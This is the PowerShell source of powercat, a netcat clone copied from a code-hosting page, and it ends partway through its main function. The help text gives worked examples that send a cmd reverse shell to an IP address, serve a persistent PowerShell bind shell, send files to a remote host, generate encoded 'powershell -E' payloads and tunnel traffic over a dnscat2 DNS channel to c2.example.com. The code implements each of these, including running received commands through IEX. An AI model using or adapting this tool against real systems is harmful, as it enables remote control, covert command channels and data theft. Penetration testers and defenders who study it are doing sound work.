947 lines
37 KiB
PowerShell
947 lines
37 KiB
PowerShell
function powercat
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{
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param(
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[alias("Client")][string]$c="",
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[alias("Listen")][switch]$l=$False,
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[alias("Port")][Parameter(Position=-1)][string]$p="",
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[alias("Execute")][string]$e="",
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[alias("ExecutePowershell")][switch]$ep=$False,
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[alias("Relay")][string]$r="",
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[alias("UDP")][switch]$u=$False,
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[alias("dnscat2")][string]$dns="",
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[alias("DNSFailureThreshold")][int32]$dnsft=10,
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[alias("Timeout")][int32]$t=60,
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[Parameter(ValueFromPipeline=$True)][alias("Input")]$i=$null,
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[ValidateSet('Host', 'Bytes', 'String')][alias("OutputType")][string]$o="Host",
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[alias("OutputFile")][string]$of="",
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[alias("Disconnect")][switch]$d=$False,
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[alias("Repeater")][switch]$rep=$False,
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[alias("GeneratePayload")][switch]$g=$False,
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[alias("GenerateEncoded")][switch]$ge=$False,
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[alias("Help")][switch]$h=$False
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)
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############### HELP ###############
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$Help = "
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powercat - Netcat, The Powershell Version
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Github Repository: https://github.com/besimorhino/powercat
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This script attempts to implement the features of netcat in a powershell
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script. It also contains extra features such as built-in relays, execute
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powershell, and a dnscat2 client.
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Usage: powercat [-c or -l] [-p port] [options]
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-c <ip> Client Mode. Provide the IP of the system you wish to connect to.
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If you are using -dns, specify the DNS Server to send queries to.
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-l Listen Mode. Start a listener on the port specified by -p.
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-p <port> Port. The port to connect to, or the port to listen on.
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-e <proc> Execute. Specify the name of the process to start.
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-ep Execute Powershell. Start a pseudo powershell session. You can
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declare variables and execute commands, but if you try to enter
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another shell (nslookup, netsh, cmd, etc.) the shell will hang.
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-r <str> Relay. Used for relaying network traffic between two nodes.
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Client Relay Format: -r <protocol>:<ip addr>:<port>
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Listener Relay Format: -r <protocol>:<port>
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DNSCat2 Relay Format: -r dns:<dns server>:<dns port>:<domain>
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-u UDP Mode. Send traffic over UDP. Because it's UDP, the client
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must send data before the server can respond.
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-dns <domain> DNS Mode. Send traffic over the dnscat2 dns covert channel.
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Specify the dns server to -c, the dns port to -p, and specify the
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domain to this option, -dns. This is only a client.
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Get the server here: https://github.com/iagox86/dnscat2
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-dnsft <int> DNS Failure Threshold. This is how many bad packets the client can
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recieve before exiting. Set to zero when receiving files, and set high
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for more stability over the internet.
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-t <int> Timeout. The number of seconds to wait before giving up on listening or
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connecting. Default: 60
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-i <input> Input. Provide data to be sent down the pipe as soon as a connection is
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established. Used for moving files. You can provide the path to a file,
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a byte array object, or a string. You can also pipe any of those into
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powercat, like 'aaaaaa' | powercat -c 10.1.1.1 -p 80
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-o <type> Output. Specify how powercat should return information to the console.
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Valid options are 'Bytes', 'String', or 'Host'. Default is 'Host'.
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-of <path> Output File. Specify the path to a file to write output to.
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-d Disconnect. powercat will disconnect after the connection is established
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and the input from -i is sent. Used for scanning.
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-rep Repeater. powercat will continually restart after it is disconnected.
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Used for setting up a persistent server.
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-g Generate Payload. Returns a script as a string which will execute the
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powercat with the options you have specified. -i, -d, and -rep will not
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be incorporated.
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-ge Generate Encoded Payload. Does the same as -g, but returns a string which
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can be executed in this way: powershell -E <encoded string>
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-h Print this help message.
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Examples:
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Listen on port 8000 and print the output to the console.
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powercat -l -p 8000
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Connect to 10.1.1.1 port 443, send a shell, and enable verbosity.
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powercat -c 10.1.1.1 -p 443 -e cmd -v
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Connect to the dnscat2 server on c2.example.com, and send dns queries
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to the dns server on 10.1.1.1 port 53.
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powercat -c 10.1.1.1 -p 53 -dns c2.example.com
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Send a file to 10.1.1.15 port 8000.
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powercat -c 10.1.1.15 -p 8000 -i C:\inputfile
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Write the data sent to the local listener on port 4444 to C:\outfile
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powercat -l -p 4444 -of C:\outfile
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Listen on port 8000 and repeatedly server a powershell shell.
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powercat -l -p 8000 -ep -rep
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Relay traffic coming in on port 8000 over tcp to port 9000 on 10.1.1.1 over tcp.
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powercat -l -p 8000 -r tcp:10.1.1.1:9000
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Relay traffic coming in on port 8000 over tcp to the dnscat2 server on c2.example.com,
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sending queries to 10.1.1.1 port 53.
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powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
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"
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if($h){return $Help}
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############### HELP ###############
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############### VALIDATE ARGS ###############
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$global:Verbose = $Verbose
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if($of -ne ''){$o = 'Bytes'}
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if($dns -eq "")
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{
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if((($c -eq "") -and (!$l)) -or (($c -ne "") -and $l)){return "You must select either client mode (-c) or listen mode (-l)."}
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if($p -eq ""){return "Please provide a port number to -p."}
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}
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if(((($r -ne "") -and ($e -ne "")) -or (($e -ne "") -and ($ep))) -or (($r -ne "") -and ($ep))){return "You can only pick one of these: -e, -ep, -r"}
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if(($i -ne $null) -and (($r -ne "") -or ($e -ne ""))){return "-i is not applicable here."}
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if($l)
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{
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$Failure = $False
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netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $p){Write-Output ("The selected port " + $p + " is already in use.") ; $Failure=$True}}
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if($Failure){break}
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}
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if($r -ne "")
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{
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if($r.split(":").Count -eq 2)
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{
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$Failure = $False
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netstat -na | Select-String LISTENING | % {if(($_.ToString().split(":")[1].split(" ")[0]) -eq $r.split(":")[1]){Write-Output ("The selected port " + $r.split(":")[1] + " is already in use.") ; $Failure=$True}}
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if($Failure){break}
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}
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}
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############### VALIDATE ARGS ###############
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############### UDP FUNCTIONS ###############
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function Setup_UDP
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{
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param($FuncSetupVars)
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if($global:Verbose){$Verbose = $True}
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$c,$l,$p,$t = $FuncSetupVars
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$FuncVars = @{}
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$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
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if($l)
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{
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$SocketDestinationBuffer = New-Object System.Byte[] 65536
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$EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Any), $p
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$FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient $p
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$PacketInfo = New-Object System.Net.Sockets.IPPacketInformation
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Write-Verbose ("Listening on [0.0.0.0] port " + $p + " [udp]")
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$ConnectHandle = $FuncVars["Socket"].Client.BeginReceiveMessageFrom($SocketDestinationBuffer,0,65536,[System.Net.Sockets.SocketFlags]::None,[ref]$EndPoint,$null,$null)
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$Stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
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while($True)
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{
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if($Host.UI.RawUI.KeyAvailable)
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{
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if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown").VirtualKeyCode))
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{
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Write-Verbose "CTRL or ESC caught. Stopping UDP Setup..."
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$FuncVars["Socket"].Close()
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$Stopwatch.Stop()
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break
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}
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}
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if($Stopwatch.Elapsed.TotalSeconds -gt $t)
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{
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$FuncVars["Socket"].Close()
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$Stopwatch.Stop()
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Write-Verbose "Timeout!" ; break
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}
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if($ConnectHandle.IsCompleted)
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{
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$SocketBytesRead = $FuncVars["Socket"].Client.EndReceiveMessageFrom($ConnectHandle,[ref]([System.Net.Sockets.SocketFlags]::None),[ref]$EndPoint,[ref]$PacketInfo)
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Write-Verbose ("Connection from [" + $EndPoint.Address.IPAddressToString + "] port " + $p + " [udp] accepted (source port " + $EndPoint.Port + ")")
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if($SocketBytesRead -gt 0){break}
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else{break}
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}
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}
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$Stopwatch.Stop()
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$FuncVars["InitialConnectionBytes"] = $SocketDestinationBuffer[0..([int]$SocketBytesRead-1)]
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}
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else
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{
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if(!$c.Contains("."))
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{
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$IPList = @()
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[System.Net.Dns]::GetHostAddresses($c) | Where-Object {$_.AddressFamily -eq "InterNetwork"} | %{$IPList += $_.IPAddressToString}
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Write-Verbose ("Name " + $c + " resolved to address " + $IPList[0])
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$EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($IPList[0])), $p
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}
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else
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{
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$EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($c)), $p
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}
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$FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient
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$FuncVars["Socket"].Connect($c,$p)
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Write-Verbose ("Sending UDP traffic to " + $c + " port " + $p + "...")
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Write-Verbose ("UDP: Make sure to send some data so the server can notice you!")
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}
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$FuncVars["BufferSize"] = 65536
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$FuncVars["EndPoint"] = $EndPoint
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$FuncVars["StreamDestinationBuffer"] = New-Object System.Byte[] $FuncVars["BufferSize"]
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$FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null)
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return $FuncVars
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}
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function ReadData_UDP
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{
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param($FuncVars)
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$Data = $null
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if($FuncVars["StreamReadOperation"].IsCompleted)
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{
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$StreamBytesRead = $FuncVars["Socket"].Client.EndReceiveFrom($FuncVars["StreamReadOperation"],[ref]$FuncVars["EndPoint"])
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if($StreamBytesRead -eq 0){break}
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$Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)]
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$FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null)
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}
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return $Data,$FuncVars
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}
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function WriteData_UDP
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{
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param($Data,$FuncVars)
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$FuncVars["Socket"].Client.SendTo($Data,$FuncVars["EndPoint"]) | Out-Null
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return $FuncVars
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}
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function Close_UDP
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{
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param($FuncVars)
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$FuncVars["Socket"].Close()
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}
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############### UDP FUNCTIONS ###############
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############### DNS FUNCTIONS ###############
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function Setup_DNS
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{
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param($FuncSetupVars)
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if($global:Verbose){$Verbose = $True}
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function ConvertTo-HexArray
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{
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param($String)
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$Hex = @()
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$String.ToCharArray() | % {"{0:x}" -f [byte]$_} | % {if($_.Length -eq 1){"0" + [string]$_} else{[string]$_}} | % {$Hex += $_}
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return $Hex
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}
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function SendPacket
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{
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param($Packet,$DNSServer,$DNSPort)
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$Command = ("set type=TXT`nserver $DNSServer`nset port=$DNSPort`nset domain=.com`nset retry=1`n" + $Packet + "`nexit")
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$result = ($Command | nslookup 2>&1 | Out-String)
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if($result.Contains('"')){return ([regex]::Match($result.replace("bio=",""),'(?<=")[^"]*(?=")').Value)}
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else{return 1}
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}
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function Create_SYN
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{
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param($SessionId,$SeqNum,$Tag,$Domain)
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return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "00" + $SessionId + $SeqNum + "0000" + $Domain)
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}
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function Create_FIN
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{
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param($SessionId,$Tag,$Domain)
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return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "02" + $SessionId + "00" + $Domain)
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}
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function Create_MSG
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{
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param($SessionId,$SeqNum,$AcknowledgementNumber,$Data,$Tag,$Domain)
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return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "01" + $SessionId + $SeqNum + $AcknowledgementNumber + $Data + $Domain)
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}
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function DecodePacket
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{
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param($Packet)
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if((($Packet.Length)%2 -eq 1) -or ($Packet.Length -eq 0)){return 1}
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$AcknowledgementNumber = ($Packet[10..13] -join "")
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$SeqNum = ($Packet[14..17] -join "")
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[byte[]]$ReturningData = @()
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if($Packet.Length -gt 18)
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{
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$PacketElim = $Packet.Substring(18)
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while($PacketElim.Length -gt 0)
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{
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$ReturningData += [byte[]][Convert]::ToInt16(($PacketElim[0..1] -join ""),16)
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$PacketElim = $PacketElim.Substring(2)
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}
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}
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return $Packet,$ReturningData,$AcknowledgementNumber,$SeqNum
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}
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function AcknowledgeData
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{
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param($ReturningData,$AcknowledgementNumber)
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$Hex = [string]("{0:x}" -f (([uint16]("0x" + $AcknowledgementNumber) + $ReturningData.Length) % 65535))
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if($Hex.Length -ne 4){$Hex = (("0"*(4-$Hex.Length)) + $Hex)}
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return $Hex
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}
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$FuncVars = @{}
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$FuncVars["DNSServer"],$FuncVars["DNSPort"],$FuncVars["Domain"],$FuncVars["FailureThreshold"] = $FuncSetupVars
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if($FuncVars["DNSPort"] -eq ''){$FuncVars["DNSPort"] = "53"}
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$FuncVars["Tag"] = ""
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$FuncVars["Domain"] = ("." + $FuncVars["Domain"])
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$FuncVars["Create_SYN"] = ${function:Create_SYN}
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$FuncVars["Create_MSG"] = ${function:Create_MSG}
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$FuncVars["Create_FIN"] = ${function:Create_FIN}
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$FuncVars["DecodePacket"] = ${function:DecodePacket}
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$FuncVars["ConvertTo-HexArray"] = ${function:ConvertTo-HexArray}
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$FuncVars["AckData"] = ${function:AcknowledgeData}
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$FuncVars["SendPacket"] = ${function:SendPacket}
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$FuncVars["SessionId"] = ([string](Get-Random -Maximum 9999 -Minimum 1000))
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$FuncVars["SeqNum"] = ([string](Get-Random -Maximum 9999 -Minimum 1000))
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$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
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$FuncVars["Failures"] = 0
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$SYNPacket = (Invoke-Command $FuncVars["Create_SYN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["Tag"],$FuncVars["Domain"]))
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$ResponsePacket = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($SYNPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))
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$DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($ResponsePacket))
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if($DecodedPacket -eq 1){return "Bad SYN response. Ensure your server is set up correctly."}
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$ReturningData = $DecodedPacket[1]
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if($ReturningData -ne ""){$FuncVars["InputData"] = ""}
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$FuncVars["AckNum"] = $DecodedPacket[2]
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$FuncVars["MaxMSGDataSize"] = (244 - (Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],"",$FuncVars["Tag"],$FuncVars["Domain"])).Length)
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if($FuncVars["MaxMSGDataSize"] -le 0){return "Domain name is too long."}
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return $FuncVars
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}
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function ReadData_DNS
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{
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param($FuncVars)
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if($global:Verbose){$Verbose = $True}
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$PacketsData = @()
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$PacketData = ""
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if($FuncVars["InputData"] -ne $null)
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{
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$Hex = (Invoke-Command $FuncVars["ConvertTo-HexArray"] -ArgumentList @($FuncVars["InputData"]))
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$SectionCount = 0
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$PacketCount = 0
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foreach($Char in $Hex)
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{
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if($SectionCount -ge 30)
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{
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$SectionCount = 0
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$PacketData += "."
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}
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if($PacketCount -ge ($FuncVars["MaxMSGDataSize"]))
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{
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$PacketsData += $PacketData.TrimEnd(".")
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$PacketCount = 0
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$SectionCount = 0
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$PacketData = ""
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}
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$PacketData += $Char
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$SectionCount += 2
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$PacketCount += 2
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}
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$PacketData = $PacketData.TrimEnd(".")
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$PacketsData += $PacketData
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$FuncVars["InputData"] = ""
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}
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else
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{
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$PacketsData = @("")
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}
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[byte[]]$ReturningData = @()
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foreach($PacketData in $PacketsData)
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{
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try{$MSGPacket = Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],$PacketData,$FuncVars["Tag"],$FuncVars["Domain"])}
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catch{ Write-Verbose "DNSCAT2: Failed to create packet." ; $FuncVars["Failures"] += 1 ; continue }
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try{$Packet = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($MSGPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))}
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catch{ Write-Verbose "DNSCAT2: Failed to send packet." ; $FuncVars["Failures"] += 1 ; continue }
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try
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{
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$DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($Packet))
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if($DecodedPacket.Length -ne 4){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..."; $FuncVars["Failures"] += 1 ; continue }
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$FuncVars["AckNum"] = $DecodedPacket[2]
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$FuncVars["SeqNum"] = $DecodedPacket[3]
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$ReturningData += $DecodedPacket[1]
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}
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catch{ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue }
|
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if($DecodedPacket -eq 1){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue }
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}
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if($FuncVars["Failures"] -ge $FuncVars["FailureThreshold"]){break}
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|
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if($ReturningData -ne @())
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{
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$FuncVars["AckNum"] = (Invoke-Command $FuncVars["AckData"] -ArgumentList @($ReturningData,$FuncVars["AckNum"]))
|
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}
|
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return $ReturningData,$FuncVars
|
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}
|
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function WriteData_DNS
|
|
{
|
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param($Data,$FuncVars)
|
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$FuncVars["InputData"] = $FuncVars["Encoding"].GetString($Data)
|
|
return $FuncVars
|
|
}
|
|
function Close_DNS
|
|
{
|
|
param($FuncVars)
|
|
$FINPacket = Invoke-Command $FuncVars["Create_FIN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["Tag"],$FuncVars["Domain"])
|
|
Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($FINPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]) | Out-Null
|
|
}
|
|
############### DNS FUNCTIONS ###############
|
|
|
|
########## TCP FUNCTIONS ##########
|
|
function Setup_TCP
|
|
{
|
|
param($FuncSetupVars)
|
|
$c,$l,$p,$t = $FuncSetupVars
|
|
if($global:Verbose){$Verbose = $True}
|
|
$FuncVars = @{}
|
|
if(!$l)
|
|
{
|
|
$FuncVars["l"] = $False
|
|
$Socket = New-Object System.Net.Sockets.TcpClient
|
|
Write-Verbose "Connecting..."
|
|
$Handle = $Socket.BeginConnect($c,$p,$null,$null)
|
|
}
|
|
else
|
|
{
|
|
$FuncVars["l"] = $True
|
|
Write-Verbose ("Listening on [0.0.0.0] (port " + $p + ")")
|
|
$Socket = New-Object System.Net.Sockets.TcpListener $p
|
|
$Socket.Start()
|
|
$Handle = $Socket.BeginAcceptTcpClient($null, $null)
|
|
}
|
|
|
|
$Stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
|
|
while($True)
|
|
{
|
|
if($Host.UI.RawUI.KeyAvailable)
|
|
{
|
|
if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown").VirtualKeyCode))
|
|
{
|
|
Write-Verbose "CTRL or ESC caught. Stopping TCP Setup..."
|
|
if($FuncVars["l"]){$Socket.Stop()}
|
|
else{$Socket.Close()}
|
|
$Stopwatch.Stop()
|
|
break
|
|
}
|
|
}
|
|
if($Stopwatch.Elapsed.TotalSeconds -gt $t)
|
|
{
|
|
if(!$l){$Socket.Close()}
|
|
else{$Socket.Stop()}
|
|
$Stopwatch.Stop()
|
|
Write-Verbose "Timeout!" ; break
|
|
break
|
|
}
|
|
if($Handle.IsCompleted)
|
|
{
|
|
if(!$l)
|
|
{
|
|
try
|
|
{
|
|
$Socket.EndConnect($Handle)
|
|
$Stream = $Socket.GetStream()
|
|
$BufferSize = $Socket.ReceiveBufferSize
|
|
Write-Verbose ("Connection to " + $c + ":" + $p + " [tcp] succeeded!")
|
|
}
|
|
catch{$Socket.Close(); $Stopwatch.Stop(); break}
|
|
}
|
|
else
|
|
{
|
|
$Client = $Socket.EndAcceptTcpClient($Handle)
|
|
$Stream = $Client.GetStream()
|
|
$BufferSize = $Client.ReceiveBufferSize
|
|
Write-Verbose ("Connection from [" + $Client.Client.RemoteEndPoint.Address.IPAddressToString + "] port " + $port + " [tcp] accepted (source port " + $Client.Client.RemoteEndPoint.Port + ")")
|
|
}
|
|
break
|
|
}
|
|
}
|
|
$Stopwatch.Stop()
|
|
if($Socket -eq $null){break}
|
|
$FuncVars["Stream"] = $Stream
|
|
$FuncVars["Socket"] = $Socket
|
|
$FuncVars["BufferSize"] = $BufferSize
|
|
$FuncVars["StreamDestinationBuffer"] = (New-Object System.Byte[] $FuncVars["BufferSize"])
|
|
$FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null)
|
|
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
|
|
$FuncVars["StreamBytesRead"] = 1
|
|
return $FuncVars
|
|
}
|
|
function ReadData_TCP
|
|
{
|
|
param($FuncVars)
|
|
$Data = $null
|
|
if($FuncVars["StreamBytesRead"] -eq 0){break}
|
|
if($FuncVars["StreamReadOperation"].IsCompleted)
|
|
{
|
|
$StreamBytesRead = $FuncVars["Stream"].EndRead($FuncVars["StreamReadOperation"])
|
|
if($StreamBytesRead -eq 0){break}
|
|
$Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)]
|
|
$FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null)
|
|
}
|
|
return $Data,$FuncVars
|
|
}
|
|
function WriteData_TCP
|
|
{
|
|
param($Data,$FuncVars)
|
|
$FuncVars["Stream"].Write($Data, 0, $Data.Length)
|
|
return $FuncVars
|
|
}
|
|
function Close_TCP
|
|
{
|
|
param($FuncVars)
|
|
try{$FuncVars["Stream"].Close()}
|
|
catch{}
|
|
if($FuncVars["l"]){$FuncVars["Socket"].Stop()}
|
|
else{$FuncVars["Socket"].Close()}
|
|
}
|
|
########## TCP FUNCTIONS ##########
|
|
|
|
########## CMD FUNCTIONS ##########
|
|
function Setup_CMD
|
|
{
|
|
param($FuncSetupVars)
|
|
if($global:Verbose){$Verbose = $True}
|
|
$FuncVars = @{}
|
|
$ProcessStartInfo = New-Object System.Diagnostics.ProcessStartInfo
|
|
$ProcessStartInfo.FileName = $FuncSetupVars[0]
|
|
$ProcessStartInfo.UseShellExecute = $False
|
|
$ProcessStartInfo.RedirectStandardInput = $True
|
|
$ProcessStartInfo.RedirectStandardOutput = $True
|
|
$ProcessStartInfo.RedirectStandardError = $True
|
|
$FuncVars["Process"] = [System.Diagnostics.Process]::Start($ProcessStartInfo)
|
|
Write-Verbose ("Starting Process " + $FuncSetupVars[0] + "...")
|
|
$FuncVars["Process"].Start() | Out-Null
|
|
$FuncVars["StdOutDestinationBuffer"] = New-Object System.Byte[] 65536
|
|
$FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null)
|
|
$FuncVars["StdErrDestinationBuffer"] = New-Object System.Byte[] 65536
|
|
$FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null)
|
|
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
|
|
return $FuncVars
|
|
}
|
|
function ReadData_CMD
|
|
{
|
|
param($FuncVars)
|
|
[byte[]]$Data = @()
|
|
if($FuncVars["StdOutReadOperation"].IsCompleted)
|
|
{
|
|
$StdOutBytesRead = $FuncVars["Process"].StandardOutput.BaseStream.EndRead($FuncVars["StdOutReadOperation"])
|
|
if($StdOutBytesRead -eq 0){break}
|
|
$Data += $FuncVars["StdOutDestinationBuffer"][0..([int]$StdOutBytesRead-1)]
|
|
$FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null)
|
|
}
|
|
if($FuncVars["StdErrReadOperation"].IsCompleted)
|
|
{
|
|
$StdErrBytesRead = $FuncVars["Process"].StandardError.BaseStream.EndRead($FuncVars["StdErrReadOperation"])
|
|
if($StdErrBytesRead -eq 0){break}
|
|
$Data += $FuncVars["StdErrDestinationBuffer"][0..([int]$StdErrBytesRead-1)]
|
|
$FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null)
|
|
}
|
|
return $Data,$FuncVars
|
|
}
|
|
function WriteData_CMD
|
|
{
|
|
param($Data,$FuncVars)
|
|
$FuncVars["Process"].StandardInput.WriteLine($FuncVars["Encoding"].GetString($Data).TrimEnd("`r").TrimEnd("`n"))
|
|
return $FuncVars
|
|
}
|
|
function Close_CMD
|
|
{
|
|
param($FuncVars)
|
|
$FuncVars["Process"] | Stop-Process
|
|
}
|
|
########## CMD FUNCTIONS ##########
|
|
|
|
########## POWERSHELL FUNCTIONS ##########
|
|
function Main_Powershell
|
|
{
|
|
param($Stream1SetupVars)
|
|
try
|
|
{
|
|
$encoding = New-Object System.Text.AsciiEncoding
|
|
[byte[]]$InputToWrite = @()
|
|
if($i -ne $null)
|
|
{
|
|
Write-Verbose "Input from -i detected..."
|
|
if($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i }
|
|
elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) }
|
|
else{Write-Host "Unrecognised input type." ; return}
|
|
}
|
|
|
|
Write-Verbose "Setting up Stream 1... (ESC/CTRL to exit)"
|
|
try{$Stream1Vars = Stream1_Setup $Stream1SetupVars}
|
|
catch{Write-Verbose "Stream 1 Setup Failure" ; return}
|
|
|
|
Write-Verbose "Setting up Stream 2... (ESC/CTRL to exit)"
|
|
try
|
|
{
|
|
$IntroPrompt = $Encoding.GetBytes("Windows PowerShell`nCopyright (C) 2013 Microsoft Corporation. All rights reserved.`n`n" + ("PS " + (pwd).Path + "> "))
|
|
$Prompt = ("PS " + (pwd).Path + "> ")
|
|
$CommandToExecute = ""
|
|
$Data = $null
|
|
}
|
|
catch
|
|
{
|
|
Write-Verbose "Stream 2 Setup Failure" ; return
|
|
}
|
|
|
|
if($InputToWrite -ne @())
|
|
{
|
|
Write-Verbose "Writing input to Stream 1..."
|
|
try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars}
|
|
catch{Write-Host "Failed to write input to Stream 1" ; return}
|
|
}
|
|
|
|
if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return}
|
|
|
|
Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..."
|
|
while($True)
|
|
{
|
|
try
|
|
{
|
|
##### Stream2 Read #####
|
|
$Prompt = $null
|
|
$ReturnedData = $null
|
|
if($CommandToExecute -ne "")
|
|
{
|
|
try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))}
|
|
catch{[byte[]]$ReturnedData = $Encoding.GetBytes(($_ | Out-String))}
|
|
$Prompt = $Encoding.GetBytes(("PS " + (pwd).Path + "> "))
|
|
}
|
|
$Data += $IntroPrompt
|
|
$IntroPrompt = $null
|
|
$Data += $ReturnedData
|
|
$Data += $Prompt
|
|
$CommandToExecute = ""
|
|
##### Stream2 Read #####
|
|
|
|
if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars}
|
|
$Data = $null
|
|
}
|
|
catch
|
|
{
|
|
Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return
|
|
}
|
|
|
|
try
|
|
{
|
|
$Data,$Stream1Vars = Stream1_ReadData $Stream1Vars
|
|
if($Data.Length -eq 0){Start-Sleep -Milliseconds 100}
|
|
if($Data -ne $null){$CommandToExecute = $Encoding.GetString($Data)}
|
|
$Data = $null
|
|
}
|
|
catch
|
|
{
|
|
Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return
|
|
}
|
|
}
|
|
}
|
|
finally
|
|
{
|
|
try
|
|
{
|
|
Write-Verbose "Closing Stream 1..."
|
|
Stream1_Close $Stream1Vars
|
|
}
|
|
catch
|
|
{
|
|
Write-Verbose "Failed to close Stream 1"
|
|
}
|
|
}
|
|
}
|
|
########## POWERSHELL FUNCTIONS ##########
|
|
|
|
########## CONSOLE FUNCTIONS ##########
|
|
function Setup_Console
|
|
{
|
|
param($FuncSetupVars)
|
|
$FuncVars = @{}
|
|
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
|
|
$FuncVars["Output"] = $FuncSetupVars[0]
|
|
$FuncVars["OutputBytes"] = [byte[]]@()
|
|
$FuncVars["OutputString"] = ""
|
|
return $FuncVars
|
|
}
|
|
function ReadData_Console
|
|
{
|
|
param($FuncVars)
|
|
$Data = $null
|
|
if($Host.UI.RawUI.KeyAvailable)
|
|
{
|
|
$Data = $FuncVars["Encoding"].GetBytes((Read-Host) + "`n")
|
|
}
|
|
return $Data,$FuncVars
|
|
}
|
|
function WriteData_Console
|
|
{
|
|
param($Data,$FuncVars)
|
|
switch($FuncVars["Output"])
|
|
{
|
|
"Host" {Write-Host -n $FuncVars["Encoding"].GetString($Data)}
|
|
"String" {$FuncVars["OutputString"] += $FuncVars["Encoding"].GetString($Data)}
|
|
"Bytes" {$FuncVars["OutputBytes"] += $Data}
|
|
}
|
|
return $FuncVars
|
|
}
|
|
function Close_Console
|
|
{
|
|
param($FuncVars)
|
|
if($FuncVars["OutputString"] -ne ""){return $FuncVars["OutputString"]}
|
|
elseif($FuncVars["OutputBytes"] -ne @()){return $FuncVars["OutputBytes"]}
|
|
return
|
|
}
|
|
########## CONSOLE FUNCTIONS ##########
|
|
|
|
########## MAIN FUNCTION ##########
|
|
function Main
|
|
{
|
|
param($Stream1SetupVars,$Stream2SetupVars)
|
|
try
|
|
{
|
|
[byte[]]$InputToWrite = @()
|
|
$Encoding = New-Object System.Text.AsciiEncoding
|
|
if($i -ne $null)
|
|
{
|
|
Write-Verbose "Input from -i detected..."
|
|
if($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i }
|
|
elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) }
|
|
else{Write-Host "Unrecognised input type." ; return}
|
|
}
|
|
|
|
Write-Verbose "Setting up Stream 1..."
|
|
try{$Stream1Vars = Stream1_Setup $Stream1SetupVars}
|
|
catch{Write-Verbose "Stream 1 Setup Failure" ; return}
|
|
|
|
Write-Verbose "Setting up Stream 2..."
|
|
try{$Stream2Vars = Stream2_Setup $Stream2SetupVars}
|
|
catch{Write-Verbose "Stream 2 Setup Failure" ; return}
|
|
|
|
$Data = $null
|
|
|
|
